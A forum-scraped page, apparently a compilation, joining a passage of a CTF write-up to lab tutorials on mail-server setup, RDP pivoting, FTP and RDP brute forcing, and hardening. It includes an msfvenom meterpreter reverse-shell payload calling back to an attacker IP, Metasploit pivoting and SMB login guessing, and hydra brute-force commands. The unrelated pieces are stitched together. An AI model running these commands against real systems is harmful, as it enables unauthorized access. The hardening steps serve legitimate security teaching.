We break the program at 80486ba, and run the program. After running the programs, we look at the memory locations associated with the program.
break *0x80486ba
info registers
[Image: 29.png?w=687&ssl=1]
We look inside four halfwords of memory above starck pointer
x/4xw 0xffffd340
[Image: 30.png?w=687&ssl=1]
In the memory address 804c070 we found the password to access the program.
x/s 0x0804c070
[Image: 31.png?w=687&ssl=1]
Now we access the program from the server using netcat and find that the string can give us access to the program
netcat 192.168.0.25 7788
[Image: 32.png?w=687&ssl=1]
Now we create an exploit for this program, first we create a shellcode for msfvenom payload.
msfvenom –p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.15 lport=4444 –f python –b \x00\xa0\x0d
[Image: 33.png?w=687&ssl=1]
Now we create our exploit using python. We manually fuzz the memory location inside our exploit.
[Image: 34.png?w=687&ssl=1]
We setup our handler on metesploit and execute the shell.
msf > use exploit/multi/handler
msf exploit (handler) > set payload linux/x86/meterpreter/reverse_shell
msf exploit (handler) > set lhost 192.168.0.15
msf exploit (handler) > set lport 4444
msf exploit (handler) > run
[Image: 35.png?w=687&ssl=1]
now we check for sessions and take the interactive shell
msf exploit (handler) > sessions
msf exploit (handler) > sessions -i 3
[Image: 36.png?w=687&ssl=1]
Now we take shell check our privileges, we find that we are root. When we move inside the /root/ folder we find our 6th and final flag.
[Image: 37.png?w=687&ssl=1]

From Wikipedia
Hello friends! Today we are discussing “configuration of SMTP mail server” for sending mail in your LAN network. 
SMTP stands for simple mail transfer protocol communication between mail servers uses TCP port 25 Mail clients. For retrieving messages, client applications usually use either IMAP or POP3.
POP3 stands for Post Office Protocol (POP) is an application-layer Internet standard protocol used by local e-mail clients to retrieve e-mail from a remote server over a TCP/IP connection. It uses port 110 for receiving mail.
IMAP stands for Internet Message Access Protocol (IMAP) is also an Internet standard protocol used by e-mail clients to retrieve e-mail messages from a mail server over a TCP/IP connection. It uses port 143 for receiving mail.
Let’s start!!
Add Hostname and domain
With root privilege open hosts file for adding hostname and Domain name through the following command:
sudo gedit /etc/hosts
1
sudo gedit /etc/hosts

Now add given below line in the host file and then save it.
127.0.0.1 mail.ignite.lab ignite
[Image: 1.png?w=687&ssl=1]
Open hostname file with root privilege for changing the default hostname.
sudo gedit /etc/hostname
1
sudo gedit /etc/hostname

Now re-write the default hostname as “ignite” which we have mentioned in host file also, as shown in the given image and save it.
[Image: 2.png?w=687&ssl=1]
Now restart the machine after making changes in the hosts’ file and hostname.
sudo reboot
1
sudo reboot

Now check hostname and domain by typing following command and assured the changes you had made.
hostname
hostname -f

1
2

hostname
hostname -f


Install Postfix
Postfix is the default Mail Transfer Agent (MTA) for Ubuntu. It is in Ubuntu’s main repository, which means that it receives security updates. This guide explains how to install and configure postfix and set it up as an SMTP server using a secure connection.
sudo apt-get install postfix
1
sudo apt-get install postfix

[Image: 3.1.png?w=687&ssl=1]
A dialog box will pop for Postfix Configuration where you have to select Internet site as a general type of mail configuration as shown in the given image.
[Image: 3.png?w=687&ssl=1]
Enter Domain name (mail.ignite.lab) which you have to save inside the host file for system mail name and click on OK.
[Image: 4.png?w=687&ssl=1]
Postfix Configuration Setting
Open main.cf file and make the following changes in this then save it.
sudo gedit /etc/postfix/main.cf
1
sudo gedit /etc/postfix/main.cf

  • Add subnet IP my networks = 127.0.0.0/8 192.168.1.0/24
  • Enter inet_protocols = ipv4
  • Add new line home_mailbox = Maildir/
[Image: 5.png?w=687&ssl=1]
Execute given below command after making changes in the configuration file.
sudo service postfix restart
1
sudo service postfix restart

[Image: 6.png?w=687&ssl=1]
Now Type the following command to view the list of the open port to listen for incoming connections.
netstat -tnl
1
netstat -tnl

From the given image you can observe that STATE of port 25.
[Image: 7.png?w=687&ssl=1]
Install Dovecot
Dovecot is a Mail Delivery Agent, written with security primarily in mind. It supports the major mailbox formats: mbox or Maildir. This section explains how to set it up as an IMAP or pop3 server.
sudo apt-get install dovecot-imapd dovecot-pop3d
1
sudo apt-get install dovecot-imapd dovecot-pop3d

[Image: 8.1.png?w=687&ssl=1]
A dialog box will pop for configuring dovecot-core where you can select yes for creating a self –signed SSL certificate.
[Image: 8.png?w=687&ssl=1]
Another POP up will ask hostname that will be used in SSL certificates. Enter your domain name as shown in the given image and click on OK.
[Image: 9.png?w=687&ssl=1]
Dovecot configuration setting
Open 10-auth.conf file through given below path:
sudo gedit /etc/dovecot/conf.d/10-auth.conf
1
sudo gedit /etc/dovecot/conf.d/10-auth.conf

Now make the following changes in this as shown in the given image then save it.
disable_plaintest_auth = yes
1
disable_plaintest_auth = yes

[Image: 10.png?w=687&ssl=1]
change auth mechanisms = plain login
[Image: 11.png?w=687&ssl=1]
Open 10-mail.conf file through given below path:
sudo gedit /etc/dovecot/conf.d/10-mail.conf
1
sudo gedit /etc/dovecot/conf.d/10-mail.conf

Now make the following changes in this as shown in the given image then save it.
mail_location =  maildir:/home/%u/Maildir
1
mail_location =  maildir:/home/%u/Maildir

[Image: 12.png?w=687&ssl=1]
Open 10-master.conf file through given below path:
sudo gedit /etc/dovecot/conf.d/10-master.conf
port = 143

1
2

sudo gedit /etc/dovecot/conf.d/10-master.conf
port = 143

[Image: 13.png?w=687&ssl=1]
port = 110
1
port = 110

[Image: 14.png?w=687&ssl=1]
Give permission for unix_listener auth-user DB
Mode = 0600
User = postfix
Group = postfix

1
2
3

Mode = 0600
User = postfix
Group = postfix

[Image: 15.png?w=687&ssl=1]
sudo service dovecot restart
1
sudo service dovecot restart

[Image: 16.png?w=687&ssl=1]
Check service using netstat –tnl to view the list of the open port to listen for incoming connections
From the given image you can observe STATE LISTEN for port 110 and 143.
[Image: 17.png?w=687&ssl=1]
Configure Mail Account in Thunderbird
We have already a user: sr let’s configure a mail account for him by adding following information in the given text field
  • Your name: sr
  • Email address: [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
    Register or Login

  • Password: 1234 (user’s password)
Now click on continue then choose manual config tab.
[Image: 18.png?w=687&ssl=1]
Enter your network IP as server hostname (192.168.1.107) for incoming mail on port 143 and outgoing mail via port 25. Then click on done.
[Image: 19.png?w=687&ssl=1]
A new window will come up for security Exception click on tab Confirm security Exception given at the bottom.
[Image: 20.png?w=687&ssl=1]
For sending mail we always need two users to account one as sender another for the receiver. Now type the following command to add a new user.
adduser raj
Since we had already configure an account for userConfusedr in thunderbird , now create another mail account for usre:raj in thunderbird as created above.
Hence we are having two accounts in a mail server for sending the message [Image: 21.1.png?w=687&ssl=1]
Send mail using Thunderbird
Now write an Email from: [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login to [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login for testing mail server service as shown in the given image. Click on send after typing message.

[Image: 22.png?w=687&ssl=1]
Open the inbox of receiver account where you will get a mail from [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login as shown in the given image.

In this way, you can configure your own mail server for the local network.
[Image: 24.png?w=687&ssl=1]

In our previous tutorial we had discussed on

[To see content please register here]

and today we are going to discuss RDP pivoting.

From Offensive Security
Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit that system which belongs to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.
Lab Setup requirement:
Attacker machine: Kali Linux
Pivot Machine (server): window operating system with two network interface
Target Machine (client): window 7 (Allow RDP service)
[Image: rdp.png?w=687&ssl=1]

Use exploit MS17-010 or multi handler to hack the pivot machine and bypass its UAC to achieve admin privileges.
sessions
1
sessions

Hence if you will count then currently attacker has hold 2 sessions, 1st for meterpreter shell and 2nd for bypass UAC of the server.
[Image: 1.png?w=687&ssl=1]
Check the network interface through the following command:
meterpreter> ifconfig
1
meterpreter> ifconfig

From the given image you can observe two networks interface in the victim’s system 1st for IP 192.168.0.27 through which the attacker is connected and 2nd for IP 192.168.100.100 through which clients (targets) are connected.
[Image: 2.png?w=687&ssl=1]
Since the attacker belongs to 192.168.0.1 interface and client belongs to 192.168.100.0 interface, therefore, it is not possible to directly make an attack on client network until unless the attacker acquires the same network connection. In order to achieve 192.168.100.0 network attacker need to run the post exploitation “autoroute”.
This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. The default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.
msf > use post/multi/manage/autoroute
msf post(autoroute) > set session 2
msf post(autoroute) > exploit

1
2
3

msf > use post/multi/manage/autoroute
msf post(autoroute) > set session 2
msf post(autoroute) > exploit

Note: If you had not to bypass UAC you can use session 1 for post exploit.
[Image: 3.png?w=687&ssl=1]
This Module will perform an ARP scan for a given IP range through a Meterpreter Session.
use post/windows/gather/arp_scanner
msf post(arp_scanner) > set rhosts 192.168.100.100-110
msf post(arp_scanner) > set session 2
msf post(arp_scanner) > set threads 20
msf post(arp_scanner) > exploit

1
2
3
4
5

use post/windows/gather/arp_scanner
msf post(arp_scanner) > set rhosts 192.168.100.100-110
msf post(arp_scanner) > set session 2
msf post(arp_scanner) > set threads 20
msf post(arp_scanner) > exploit

Here we found a new IP 192.168.100.103 as shown in the given image. Let’s perform TCP port scan for activated services on this machine.
[Image: 4.png?w=687&ssl=1]
This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 445,3389
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set threads 10
msf auxiliary(tcp) >exploit

1
2
3
4
5

use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 445,3389
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set threads 10
msf auxiliary(tcp) >exploit

From given you can observe port 3389 and port 445 are open and we know that 3389 is used for RDP and 445 is used for SMB.
[Image: 5.png?w=687&ssl=1]
This module will test an SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
use auxiliary/scanner/smb/smb_login
msf exploit (smb_login)>set rhosts 192.168.100.103
msf exploit (smb_login)>set user_file /root/Desktop/user.txt
msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt
msf exploit (smb_login)>set stop_on_success true
msf exploit (smb_login)>exploit

1
2
3
4
5
6

use auxiliary/scanner/smb/smb_login
msf exploit (smb_login)>set rhosts 192.168.100.103
msf exploit (smb_login)>set user_file /root/Desktop/user.txt
msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt
msf exploit (smb_login)>set stop_on_success true
msf exploit (smb_login)>exploit

From the given image you can observe the highlights pentest: 123 has success login.
[Image: 6.png?w=687&ssl=1]
Now Type the following command for port forwarding on localhost.
meterpreter> portfwd add –l 3389 –p 3389 –r 192.168.100.103
1
meterpreter> portfwd add –l 3389 –p 3389 –r 192.168.100.103

-l: This is a local port to listen on.
-p: The remote port to connect on.
-r:  The remote host address to connect on.
[Image: 7.png?w=687&ssl=1]
Now type the following command to connect RDP client on localhost through port 3389
rdesktop 127.0.0.1:3389
1
rdesktop 127.0.0.1:3389

[Image: 8.png?w=687&ssl=1]
Now it will ask to enter the credential for connecting with RDP client; Enter the combination of username and password you have retrieved from SMB login Exploit.
If you remembered we have retrieved pentest: 123 through smb login exploit which we are using for login.
[Image: 9.1.png?w=687&ssl=1]
Wonderful!! We had successfully exploited the RDP client.
[Image: 9.png?w=687&ssl=1]

Security on every layer has become mandatory. Port security always make a difference by securing the network as it helps to avoid receiving or sending packets from unknown devices. Using port security, one can limit the number of MAC addresses on a given port or can specify the only IP address that can be connected. This will make all other packets are restricted. You can apply such security measures on every port. In today’s article, we will learn to apply the said security on the FTP port.
Table of Content
  • Introduction to FTP
    • Uses of FTP
    • Working of FTP
  • Penetration Testing on FTP
    • Installation of FTP
    • Anonymous Login
    • Disable FTP_banner
    • Switch Port for FTP Service
    • Sniffing FTP Login credential
    • Use SSL Certificate against Sniffing
    • Stop FTP Brute_Force Attack with Fail2ban
    • Restrict IP to Connect FTP
Introduction to FTP
FTP is a file transfer protocol, used to transfer files between a network using TCO/IP connections via Port 20/21. It is basically a client-server protocol. As it works on TCP, it requires two communication channels between client and server: a command channel and data channel. The command channel is for controlling the conversation between client and server whereas data connection is initiated by the server to transfer data.
Uses of FTP
  • An FTP site is a web site where users can easily upload or download specific files.
  • FTP by mail allows users without access to the Internet to access and copy files using anonymous FTP by sending an email message to [email protected] and putting the word help in the body of the text.
  • FTP Explorer is an FTP client based on Windows 95 file manager (Windows 95 Explorer).
  • An FTP server is a dedicated computer which provides FTP service. This invites hackers and necessitates security hardware or software such as utilizing usernames, passwords, and file access control.
  • An FTP client is a computer application which accesses an FTP server. While doing so, users should block incoming FTP connection attempts using passive mode and should check for viruses on all downloaded files.
Working of FTP
FTP works as just like HTTP and SMB protocols. When the FTP server is configured in a network then a specific folder is defined as a shared folder in order to share files. Users can access this file server via FTP. FTP is often authenticated by sign-in protocol; however, FTP server may be configured to accept anonymous as login credentials. But now, it’s mostly FTP with SSL/TLS.
When transferring files through FTP, the user’s machine is called the local host machine and is connected to the internet. Another machine is called the remote host which has FTP running on it and is too connected to the internet. Now, in order to transfer the files, the local host machine connects to remote host’s IP. Then the user must enter the username and password. FTP always provides GUI which makes file transfer user-friendly, here, you can transfer files by drag-and-drop method. Otherwise, you can simply use FTP commands for the desired transfer.
Penetration Testing on FTP
Requirements:
  • FTP server: Ubuntu
  • Attacking machine: Kali
  • Client machine: Windows
Installation of FTP
Installation FTP is quite easy. To install FTP, open the terminal in ubuntu as root user and type:
apt install vsftpd
1
apt install vsftpd

[Image: 1.png?w=687&ssl=1]
Once FTP is installed use nmap to confirm and to do so, type the following command:
nmap -p21 192.168.1.102
1
nmap -p21 192.168.1.102

As you can see that FTP is working on port 21.
[Image: 2.png?w=687&ssl=1]
Anonymous Login
As I have mentioned before, that FTP credentials can be set to anonymous and this is found often on many FTP servers. FTP users may authenticate themselves with a clear-text sign-in protocol, normally in the form of a username and password, but can connect anonymously if the server is configured to allow it. So, let’s see how it will be done by first configuring it anonymous. Open vsftpd.conf using nano or any other text editor. Find “anonymous_enable=NO” statement as shown in the image below:
[Image: 3.png?w=687&ssl=1]
Change NO to YES to enable anonymous as shown here:
[Image: 4.png?w=687&ssl=1]
Now let’s check it from nmap by using the following command:
nmap -A -p21 192.168.1.102
1
nmap -A -p21 192.168.1.102

[Image: 5.png?w=687&ssl=1]
As the result shown by nmap, you can see that port 21 is open and you some details about it to like its version. Now, let’s try and log in FTP using anonymous as our credentials. Now, let’s try and login:
ftp 192.168.1.102
1
ftp 192.168.1.102

Enter anonymous as username and password as shown in the image below as you will find you in the ftp server.
[Image: 6.png?w=687&ssl=1]
Disable FTP_banner
Now if you scan ftp from nmap you will its version:
nmap -sV 192.168.1.102
1
nmap -sV 192.168.1.102

[Image: 7.png?w=687&ssl=1]
As this visibility of the version can leave you vulnerable to various exploits lets now learn how you will protect yourself by hiding the banner of ftp. For this, again open vsftpd.conf file using any desired text editor.
[Image: 8.png?w=687&ssl=1]
In the conf file fond the statement “ ftpd_banner=welcome to blah FTP service”. From this statement remove the # symbol as shown in the image below :
[Image: 9.png?w=687&ssl=1]
Now if you again scan from nmap if will hide the banner. Try it by using the following command:
nmap -sV -p21 192.168.1.102
1
nmap -sV -p21 192.168.1.102

[Image: 10.png?w=687&ssl=1]
Switch Port for FTP Service
Like this, you can add another security layer by changing the port of ftp. You can start the service of ftp on any port you like. Here, we have shifted the FTP port to 5000. For this, find the statement “listen_port=21” in the ftp conf file. Change the port number to 5000, or any other number as you desire, as shown in the image below:
[Image: 11.png?w=687&ssl=1]
Save the file and restart the service of ftp. Now if you scan from nmap you will find the port is now on 5000. Applying such layer of security helps to confuse attackers.
[Image: 12.png?w=687&ssl=1]
Sniffing FTP Login Credential
By default, the traffic sent to and received from ftp is not encrypted. An attacker can take help of sniffing tools to sniff the data packet traveling between server and client in a network and retrieve credential. And then use them for unauthorized access. As we have discussed above FTP users may authenticate themselves with a clear-text sign-in protocol for username and password.
[Image: 13.png?w=687&ssl=1]
Similarly, if we capture TCP packet through Wireshark for sniffing FTP credential. So, now try and log in to ftp using the following commands:
ftp 192.168.1.102 5000
1
ftp 192.168.1.102 5000

Give the username and password.
Capture the traffic using Wireshark. Now, in Wireshark, if you follow the TCP stream of the packet, you can see the login credentials in clear text as shown in the following image:
[Image: 14.png?w=687&ssl=1]
Use SSL Certificate against Sniffing
So, for this, let’s add another security layer for the problem generating above. The solution for this is creating an SSL certificate. SSL stands for Secure Sockets Layer, the protocol which provides secure, encrypted communications between server and client, this encrypted data packet traveling between server-client networks.
Although an attacker can sniff network data packet but will be not able to read fetched information because entire data will show in the form of ciphertext.
Here administrations need to generate their own SSL certificate for secure authentication. Make the directory where the SSL certificate keys will be stored.
Use the following command to create a certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/vsftpd.pem -out /etc/ssl/private/vsftpd.pem
1
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/vsftpd.pem -out /etc/ssl/private/vsftpd.pem

[Image: 15.png?w=687&ssl=1]
Once the above command is executed, open vsftpd.conf file for changing default setting by adding a few lines at the end of the file. Following are the lines to be added:
rsa_cert_file=/etc/ssl/private/vsftpd.pem
rsa_private_key_file=/etc/ssl/private/vsftpd.pem
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
require_ssl_reuse=NO
ssl_ciphers=HIGH

1
2
3
4
5
6
7
8
9
10
11

rsa_cert_file=/etc/ssl/private/vsftpd.pem
rsa_private_key_file=/etc/ssl/private/vsftpd.pem
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
require_ssl_reuse=NO
ssl_ciphers=HIGH

[Image: 16.png?w=687&ssl=1]
Now let’s ensure whether we can connect to FTP server.
Protocol to: FTP
Encryption To: TSL/SSL Explicit encryption
Hostname: IP of the FTP Server
Port: 21
Username and Password: raj: 123

1
2
3
4
5

Protocol to: FTP
Encryption To: TSL/SSL Explicit encryption
Hostname: IP of the FTP Server
Port: 21
Username and Password: raj: 123

[Image: 17.png?w=687&ssl=1]
Now the server will send the certificate to an authorized user click on yes to store certificate and continue the encrypted connecting.
[Image: 18.png?w=687&ssl=1]
Now, when you will establish the connection of FTP as shown in the image below:
[Image: 19.png?w=687&ssl=1]
All the traffic that is sent and received is encrypted which you can check through Wireshark.  It has also shown below:
[Image: 20.png?w=687&ssl=1]
Stop FTP Brute_Force Attack with Fail2ban
Hydra is often the tool of choice for bruteforce. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, FTP, HTTP, HTTPS, SMB, several databases, and much more. Now, to bruteforce our ftp server we need to choose a word list. As with any dictionary attack, the wordlist is key.
Run the following command to execute bruteforce :
hydra -L user -P pass 192.168.1.102 ftp
1
hydra -L user -P pass 192.168.1.102 ftp

[Image: 21.png?w=687&ssl=1]
As you can see, using hydra we have logged in credentials and so are a bruteforce attack is successful. But we can protect our ftp server and important files. To be secure against bruteforce, you can use the fail2ban tool.  To get a detailed guide on fail2ban tool read our other article from

[To see content please register here]

.

[Image: 23.png?w=687&ssl=1]
Once you have limited the bruteforce attack through fail2ban. You can try and use hydra again, but you will get a negative result as shown in the image below:
[Image: 22.png?w=687&ssl=1]
Restrict IP to connect FTP
Another security layer that you can apply is blocking all other IPs and allowing your trusted ones. Now open hosts.allow file from inside /etc to allow the valid user to connect with server securely through specific IP. At the end of text file enter specific IP to whom you want to give permission for establishing a connection as shown in the given image.
[Image: 24.png?w=687&ssl=1]
It quite important that admin should restrict all IPs other than allowed IP (192.168.0.106) to protect the network from establishing connect from unknown IP.
Open /etc/hosts.deny and specify a list of hosts whom you want don’t to allow access into the system.
[Image: 25.png?w=687&ssl=1]
Now open configure file of vsftpd and add following lines:
# TCP Wrappers
tcp_wrappers=Yes

1
2

# TCP Wrappers
tcp_wrappers=Yes

[Image: 26.png?w=687&ssl=1]
Now if you connect from the allowed IP to ftp then you will log in as you can see in the image below :
[Image: 27.png?w=687&ssl=1]
But it will block other IPs as shown below :
[Image: 28.png?w=687&ssl=1]
Conclusion
FTP was discovered around four decades earlier. And since then, there have been substantial changes as it has developed a lot over time. These changes have been related to encryption standards and file transfer functionality.


  [Guide] How to FTP Penetration Testing on Windows (Port 21)
Posted by: NINZA - 05-10-2020, 05:26 AM - Forum: Carders Home - No Replies

Today we are sharing tips and tricks on FTP attacks and security through FTP penetration testing which will help to secure your server from any kind FTP attack.
FTP stands for File Transfer Protocol used for the transfer of computer files such as docs, PDF, multimedia and etc between a client and server on a computer network via port 21. Port 21 is default port which gets open when FTP is activated for sharing data.
Let’s start!!
Install & Configure FTP Server on Windows 7
Firstly we are going to set up the FTP server on our Windows 7 for sharing the file in a LAN. In order to accomplish that we are going to open Control Panel >Programs >Programs and Features >Turn Windows features on or off as shown below.
[Image: 1.png?w=687&ssl=1]
Here Expand Internet Information Services and check the FTP Server option.
Also, ensure that FTP Extensibility and FTP Service are both checked as shown below and click OK to begin Installation.
This Installs the IIS and FTP Service Manager, be patient it might take some time.
[Image: 2.png?w=687&ssl=1]
Configure FTP Site in IIS
Now to open IIS, we will open Control Panel after then select System and Security and here we will open Administrative Tools. In Administrative Tools, you will find IIS Manager as shown below, open it.
[Image: 3.png?w=687&ssl=1]
The new window of Internet information IIS Manager will come up; right-click Sites given in left panel under Connections, select Add FTP Site.
This will open a new window as shown below.
[Image: 4.png?w=687&ssl=1]
Enter the name of the FTP site of your choice, as shown in given image ignite.
Enter the path to the FTP folder you want to use to send and receive files. In our case, we created a folder named ftp in location C:\ftp.
And click next.
[Image: 5.png?w=687&ssl=1]

Binding and SSL Settings, we will bind our IPv4 address to the server by allowing following setting then click on next.

  • Enter IP:192.168.1.128 and Port: 21.
  • Enable the checkbox for Start FTP site automatically
  • In SSL option select No SSL and click next.
[Image: 7.png?w=687&ssl=1]

Allow following setting in Authentication and Authorization for your FTP site and then click on Finish.
Authentication: Basic
Authorization: specific users (pc7)
Permission: read and write
[Image: 6.png?w=687&ssl=1]
From the given image, you can see we had successfully configured an FTP server for Ignite. Now let’s try to connect with it for sharing files.
[Image: 8.png?w=687&ssl=1]
Scanning FTP with nmap
An attacker may take help of nmap to verify whether port 21 is activated or not. For FTP penetration, we are also using nmap in order to scan the targeted system (192.168.1.128) for open FTP port.
nmap -p 21 192.168.1.128
1
nmap -p 21 192.168.1.128

If file transfer service is allowed then nmap will show OPEN as a state for port 21, as shown in the given image.
[Image: 10.png?w=687&ssl=1]
Connect client to FTP Server through WinSCP
WinSCP is a free software which is used to access the FTP server. You can download it from

[To see content please register here]

.
  • Protocol to: FTP
  • Encryption To: No Encryption
  • Hostname: IP of the FTP Server
  • Port: 21
  • Username and Password: Windows login credentials of the user.
Click on Login.
[Image: 9.png?w=687&ssl=1]
As you can see I have successfully connected to my FTP server which has a file called demo.txt.
[Image: 10.2.png?w=687&ssl=1]


Version Enumeration on FTP
Now, let’s try to get the FTP version through ftp_version on Metasploit
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to scan for FTP version.
use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set rhosts 192.168.1.128
msf auxiliary(ftp_version) > exploit

1
2
3

use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set rhosts 192.168.1.128
msf auxiliary(ftp_version) > exploit

[Image: 11.png?w=687&ssl=1]
Hiding Banner
Open IIS Manager.
Click on Features View has given in the bottom of the window.
[Image: 12.png?w=687&ssl=1]
A new window for FTP messages will come up where you can change Message Behavior.
  • Enable suppress default banner
  • Enable Show detailed messages for local request
Now let’s check if our FTP version is still visible or not.
[Image: 13.png?w=687&ssl=1]
You can verify it by executing following command in Kali Linux for NMAP version scan.
nmap -p 21 -sV 192.168.1.128
1
nmap -p 21 -sV 192.168.1.128

As you can see that our FTP version is no longer visible to anybody.
[Image: 14.png?w=687&ssl=1]
FTP Brute force Attack
Let’s try to make Brute force attack on our FTP Server using Metasploit.
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to Brute force FTP login.
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.1.128
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit

1
2
3
4
5
6

use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.1.128
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit

From the given image, you can observe that our FTP server is not secure against brute force attack because it is showing the matching combination of username and password for login. So let’s protect our FTP server against Brute force.
[Image: 18.png?w=687&ssl=1]
Secure FTP server against Brute Force Attack
Open IIS Manager
Now open FTP IPv4 Address and Domain Restrictions. Here we are going to allow only a particular IP address to access the FTP server. This will allow only valid IP to get connect with FTP.
[Image: 19.png?w=687&ssl=1]
Allow specific IP to connect FTP
Now following given below step:
  • Click on FTP IPv4 Address and Domain Restrictions
  • Click on Add Allow Entry from the Actions Tab in the right panel
  • Select Specific IP Address and enter the IP address
  • Click OK
Here you can also add a range of IPs of your network.
[Image: 20.png?w=687&ssl=1]
Restrict IPs to connect FTP
Now repeat the step with some changes to restrict other IPs for denying to access FTP services.
Now following given below step:
  • Click on FTP IPv4 Address and Domain Restrictions
  • Click on Add deny Entry from the Actions Tab in the right panel
  • Select Specific IP Address and enter the IP address
  • Click OK
Hence if any other user or attacker finds out credential for FTP login he cannot able to connect with the server.
[Image: 21.png?w=687&ssl=1]
Let’s verify above setting by Brute force again in the same way we did before. From the given image, you can observe though it is showing incorrect combination for correct credentials also.
[Image: 22.png?w=687&ssl=1]
FTP Port Transfer
You can forward port 21 on another port for increasing server security although to perform this you need to open IIS.
[Image: 23.png?w=687&ssl=1]
Now click on the Bindings on Actions Tab.
It will open a window as shown below where it is showing that FTP service is activated on port 21, now click on edit to replace this port into another.           
[Image: 24.png?w=687&ssl=1]
From the given image you can see we have are now using port 5000 for FTP services.
[Image: 25.png?w=687&ssl=1]
Now let’s check using nmap
nmap -p 5000 -sV 192.168.1.128
1
nmap -p 5000 -sV 192.168.1.128

As you can see the FTP service has been shifted to port 5000
[Image: 26.png?w=687&ssl=1]
Now to verify if the service is actually running on port 5000 let’s login into FTP server using WinSCP and this time using port 5000 as shown below
[Image: 27.png?w=687&ssl=1]
Great!!! We are successfully connected with FTP server via port 5000
[Image: 28.png?w=687&ssl=1]
FTP Log Monitoring 
In IIS Manager we can also manage Logs of our FTP Server. Here, we can Schedule the Logging and also manage the size of logs and Location of Logs For monitoring ftp log follow given below steps:
Open FTP Logging in the Features View.
  • The format of the log file: click on the W3C field and then select the desired option such as date, time, client IP and etc.
  • Directory: browse a location where you want to save the logs
  • Schedule: Daily
[Image: 29.png?w=687&ssl=1]
Now if you want to view logs of FTP server you can open the directory which you have browsed for saving logs i.e. C:\inerpub\logs\Logsfiles
From given below image you can observe logs for FTP login.
[Image: 30.png?w=687&ssl=1]

In this article, we are discussing Remote Desktop penetration testing in four scenarios. Through that, we are trying to explain how an attacker can breach security in a different- different scenario and what types of the major step should take by admin while activating RDP services to resist against attack.
Remote Desktop Protocol (RDP) also known as “Terminal Services Client” is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP servers are built into Windows operating systems; by default, the server listens on TCP port 3389.
For more details visit Wikipedia.org
Let’s starts!!!
Suppose admin has allowed remote desktop service in his system for local network connection.
[Image: 1.png?w=687&ssl=1]
Scanning RDP Port with nmap
An attacker may take help of nmap to verify whether port 3389 is activated or not. For RDP penetration we are also using nmap in order to scan the targeted system (192.168.0.102) for open RDP port.
nmap -p 3389 192.168.0.102
1
nmap -p 3389 192.168.0.102

If remote desktop service is allowed then nmap will show OPEN as a state for port 3389, as shown in the given image.
[Image: 2.png?w=687&ssl=1]
Brute force attack on RDP
In order to connect with RDP, we always need to login credential as an authenticated connection. A valid user can enter his username and password but an invalid user (attacker) cannot able to guess correct credential for login, therefore, they retrieve credential through brute force attack.
We are using hydra to demonstrate a brute force attack on RDP.
Hydra: It is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.
Open terminal in your Kali Linux and type following command:
hydra -V -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp://192.168.0.102
1
hydra -V -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp://192.168.0.102

From given below image you can read the username: ignite and password: 123456 which we have to retrieve through brute force attack on port 3389.
Using this credential attacker can login for Remote Desktop service.
[Image: hydra.png?w=687&ssl=1]
Add Security Policy against brute force
Admin can protect their network from brute force attack using Account lockout policy. Configure following policies under Security setting > Account policies > Account lockout policies
Account Lockout duration: Policy which defines the time period that a locked out account remains locked until become automatically unlock by itself or reset by admin. It will lock the account for a specified time when user will cross the login attempt set by account lockout threshold.
Account lockout threshold: Policy which defines the number of fail logon attempt and will lock the account for some period of time specified by Account lockout duration. It will allow a maximum number of specified attempts for sign-in into your account.
Rest Account lockout counter after Policy which defines the time period that must elapse after a failed logon attempt. The reset time must be less than or equal to the Account lockout duration.
